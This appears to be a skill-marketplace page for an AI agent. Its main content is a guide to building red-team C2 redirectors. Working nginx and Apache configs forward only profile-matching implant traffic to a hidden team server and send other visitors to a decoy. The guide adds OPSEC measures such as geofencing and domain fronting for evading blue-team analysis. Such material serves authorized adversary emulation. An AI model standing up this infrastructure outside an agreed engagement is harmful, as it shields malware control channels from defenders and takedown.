Build intermediary servers for authorized security exercises, separating public traffic from the command server used by the test team. It covers simple forwarding, request filtering with nginx or Apache, TLS certificates, and validation against the exercise’s traffic profile.
中文简介正在准备中。当前显示英语简介。
Build dumb-pipe and traffic-filtering C2 redirectors with nginx (proxy_pass) and Apache (mod_rewrite), deriving filter rules from a Malleable C2 profile, layering Let's Encrypt TLS, and applying OPSEC controls like domain fronting and UA/geo filtering. Use when standing up red-team C2 that must survive blue-team triage or ensuring only profile-matching implant traffic reaches the hidden team server.
安装前可以查看交给 AI 代理的指令内容。
Authorized Use Only: This skill is for authorized red-team engagements, adversary-emulation exercises, and defensive research only. Command-and-control infrastructure is dual-use; deploying redirectors to control malware on systems you are not explicitly authorized to test is illegal. Operate only inside an agreed scope with a signed rules-of-engagement document, and decommission infrastructure when the engagement ends.
A C2 redirector is an intermediary host that sits between victim implants and the real team server. Beacons connect to the redirector's public domain/IP; the redirector inspects each request and either proxies legitimate C2 traffic back to the hidden team server or diverts everything else (scanners, blue-team analysts, sandboxes) to a benign decoy site. This protects the team server from discovery, takedown, and attribution, and lets operators rotate the public edge without rebuilding the backend. The technique maps to MITRE ATT&CK T1090.002 (Proxy: External Proxy) — adversaries route C2 through an intermediary node to obscure the true origin.
Redirectors come in two flavors. Dumb pipes (socat, iptables NAT) blindly forward a port and provide separation but no filtering. Smart/filtering redirectors (nginx proxy_pass, Apache mod_rewrite with [P], or purpose-built tools like RedWarden) parse HTTP requests and only forward traffic that matches the implant's Malleable C2 profile — correct URI, User-Agent, headers — while sending everything else a 302 to a real website. The filtering logic is derived directly from the C2 framework's traffic profile, so the two must stay in lock-step. Tools such as cs2modrewrite automate generating Apache/nginx rules from a Cobalt Strike Malleable C2 profile.
This skill covers building both dumb and filtering redirectors with nginx and Apache, deriving filter rules from a malleable profile, layering TLS with Let's Encrypt, and applying OPSEC controls (categorized domains, domain fronting/CDN fronting, header validation, geo/UA filtering) for resilient, low-attribution infrastructure.
# Debian/Ubuntu redirector
sudo apt update
sudo apt install -y nginx apache2 socat certbot python3-certbot-nginx git
# Enable Apache proxy modules if using mod_rewrite redirector
sudo a2enmod rewrite proxy proxy_http ssl headers
.profile, Sliver/Havoc HTTP profile) defining URIs, User-Agent, and headers.cs2modrewrite to auto-generate rules from a Cobalt Strike profile:
git clone https://github.com/threatexpress/cs2modrewrite
mod_rewrite redirector with [P] proxying and 302 decoy fallback.cs2modrewrite.| Technique ID | Official Name | Relevance |
|---|---|---|
| T1090.002 | Proxy: External Proxy | The redirector is an external intermediary that proxies C2 to hide the team server |
| T1090.004 | Proxy: Domain Fronting | CDN fronting routes beacon traffic through a trusted high-reputation domain |
| T1071.001 | Application Layer Protocol: Web Protocols | C2 is tunneled over HTTP/HTTPS shaped by the malleable profile |
| T1573.002 | Encrypted Channel: Asymmetric Cryptography | TLS termination at the redirector encrypts the beacon channel |
| T1583.006 | Acquire Infrastructure: Web Services | Disposable VPS/CDN edges are acquired for resilient C2 |
Place the team server on a private host. Restrict its C2 port to the redirector's IP only.
# On the team server: only the redirector (203.0.113.10) may reach 443/tcp
sudo ufw default deny incoming
sudo ufw allow from 203.0.113.10 to any port 443 proto tcp
sudo ufw allow OpenSSH
sudo ufw enable
For quick separation with no filtering, forward the C2 port to the team server.
# socat foreground forward of 443 -> team server
socat TCP4-LISTEN:443,fork,reuseaddr TCP4:10.0.0.2:443
# Or iptables DNAT (persistent)
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2:443
iptables -t nat -A POSTROUTING -p tcp -d 10.0.0.2 --dport 443 -j MASQUERADE
Only proxy requests whose URI matches the malleable profile; send everything else a 302 to a decoy. Replace the location regex and User-Agent with values from your profile.
# /etc/nginx/sites-available/redirector.conf
server {
listen 443 ssl;
server_name cdn.example.com;
ssl_certificate /etc/letsencrypt/live/cdn.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/cdn.example.com/privkey.pem;
# Proxy ONLY profile-matching C2 URIs to the hidden team server
location ~ ^/(api/v2/jobs|cm/[a-z0-9]+|push) {
# Require the implant's exact User-Agent
if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") {
return 302 https://www.legitimate-decoy.com/;
}
proxy_pass https://10.0.0.2;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
# Everything else -> benign decoy
location / {
return 302 https://www.legitimate-decoy.com/;
}
}
sudo ln -s /etc/nginx/sites-available/redirector.conf /etc/nginx/sites-enabled/
sudo nginx -t && sudo systemctl reload nginx
Apache's [P] flag proxies matching requests to the team server; non-matches get a 302 redirect. This is the format cs2modrewrite produces.
# /etc/apache2/sites-available/redirector.conf (inside <VirtualHost *:443>)
RewriteEngine On
SSLProxyEngine On
# Require the implant User-Agent
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" [NC]
# Match valid C2 URIs (GET/POST/stager) from the malleable profile
RewriteCond %{REQUEST_URI} ^/(api/v2/jobs|cm/[a-z0-9]+|push)/?$
# Proxy to the hidden team server, preserving the URI
RewriteRule ^.*$ https://10.0.0.2%{REQUEST_URI} [P,L]
# Everything else -> decoy site
RewriteRule ^.*$ https://www.legitimate-decoy.com/ [R=302,L]
sudo a2ensite redirector && sudo apache2ctl configtest && sudo systemctl reload apache2
Let cs2modrewrite build the Apache or nginx rules directly from your Cobalt Strike profile so the filter exactly matches beacon traffic.
cd cs2modrewrite
# Apache mod_rewrite rules
python3 cs2modrewrite.py -i havex.profile -c https://10.0.0.2 \
-r https://www.legitimate-decoy.com -o /etc/apache2/redirect.rules
# nginx config
python3 cs2nginx.py -i havex.profile -c https://10.0.0.2 \
-r https://www.legitimate-decoy.com -H cdn.example.com > /etc/nginx/sites-available/c2.conf
Issue a valid certificate so beacon HTTPS does not throw TLS warnings and the edge looks legitimate.
sudo certbot --nginx -d cdn.example.com --agree-tos -m ops@example.com --redirect
# Verify auto-renewal
sudo certbot renew --dry-run
Layer defenses against blue-team analysis: validate headers, geofence to the target country, divert sandboxes, and rotate edges. Consider CDN/domain fronting (T1090.004) where supported.
# Example: drop non-target geographies at the firewall with ipset/GeoIP,
# require a custom auth header in the profile, and rotate the redirector
# domain/IP on a schedule. Check the redirector only forwards matched traffic:
curl -k https://cdn.example.com/ # expect 302 to decoy
curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
https://cdn.example.com/api/v2/jobs # expect proxied response
| Tool | Purpose | Source |
|---|---|---|
| nginx | Filtering reverse-proxy redirector | https://nginx.org/ |
| Apache mod_rewrite | [P] proxy + 302 decoy redirector | https://httpd.apache.org/docs/current/mod/mod_rewrite.html |
| cs2modrewrite | Generate Apache/nginx rules from CS profile | https://github.com/threatexpress/cs2modrewrite |
| RedWarden | Malleable-aware filtering C2 reverse proxy | https://github.com/mgeeky/RedWarden |
| redi | Automated nginx + Let's Encrypt CS redirector | https://github.com/taherio/redi |
| socat | Dumb-pipe TCP forwarder | http://www.dest-unreach.org/socat/ |
| Let's Encrypt / certbot | Free TLS certificates | https://certbot.eff.org/ |
| ired.team | Red-team infrastructure reference | https://www.ired.team/offensive-security/red-team-infrastructure |
302 to a benign decoy site (verified with curl).还没有评价。欢迎分享你的使用感受。
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Assess exposure of Windows secrets protected by DPAPI, the operating system’s data protection service, during authorized security tests. Guide examination and decryption of saved credentials and browser data using available user sessions, credentials, or backup keys.
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Assess Shadow Credentials account takeover during authorized Active Directory testing. Examine permissions that allow public key registration, validate authentication without a password reset, and document credential cleanup, detection opportunities, and access control changes needed for remediation.
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Prepare for CMMC Level 2, a cybersecurity certification for defense contractors. Define the systems handling controlled information, review security requirements, calculate the SPRS assessment score, and organize remediation plans and evidence into a readiness report.
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Create disk images for investigations using dd or dcfldd on Linux. The workflow covers write protection, bit-for-bit copying, hash checks to verify integrity, and documentation of the acquisition process.
中文简介正在准备中。当前显示英语简介。
Review Active Directory permissions with ldap3, a Python library for directory queries. Identify excessive access granted to non-administrative accounts, explain potential privilege escalation paths, and produce a JSON report with affected objects and remediation recommendations.
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Inspect suspicious Android APK files without running them. Analyze permissions, app components, suspicious code patterns, and network indicators, then produce a JSON risk report to support malware triage and detection rule development.
中文简介正在准备中。当前显示英语简介。